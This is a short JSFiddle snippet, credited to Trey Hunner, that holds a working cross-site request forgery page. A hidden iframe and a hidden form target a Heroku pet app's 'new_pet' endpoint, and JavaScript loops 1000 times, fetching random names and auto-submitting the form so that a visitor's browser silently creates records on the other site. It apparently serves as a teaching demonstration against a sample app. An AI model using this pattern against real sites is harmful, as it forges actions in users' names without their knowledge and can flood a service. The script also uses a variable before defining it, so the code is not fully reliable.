JSFiddle - React, Tailwind, and code Playground

by Trey Hunner

HTML

<iframe style="display:none" name="csrf-frame"></iframe>
<form method="GET" action="https://guarded-bastion-7372.herokuapp.com/pets/new_pet/" target="csrf-frame">
    <input type="hidden" name="name" value="random name">
    <input type="submit" value="submit">
</form>

JavaScript

function getRandomName(callback) {
    var client = new XMLHttpRequest();
    client.open('GET', 'https://pseudorandom.herokuapp.com' + '?name=' + encodeURIComponent(name));
    client.setRequestHeader('Accept', 'application/json');
    client.onload = function () {
        if (client.status === 200) {
            var response = JSON.parse(client.response);
            var name = response.name.toLowerCase().split(' ')[0];
            callback(name);
        } else {
            alert('Error');
            console.error(client);
        }
    };
    client.send();
}

for (var i = 0; i < 1000; i++) {
    getRandomName(function (name) {
        document.querySelector('[name=name]').value = name;
        document.querySelector('form').submit();
    });
}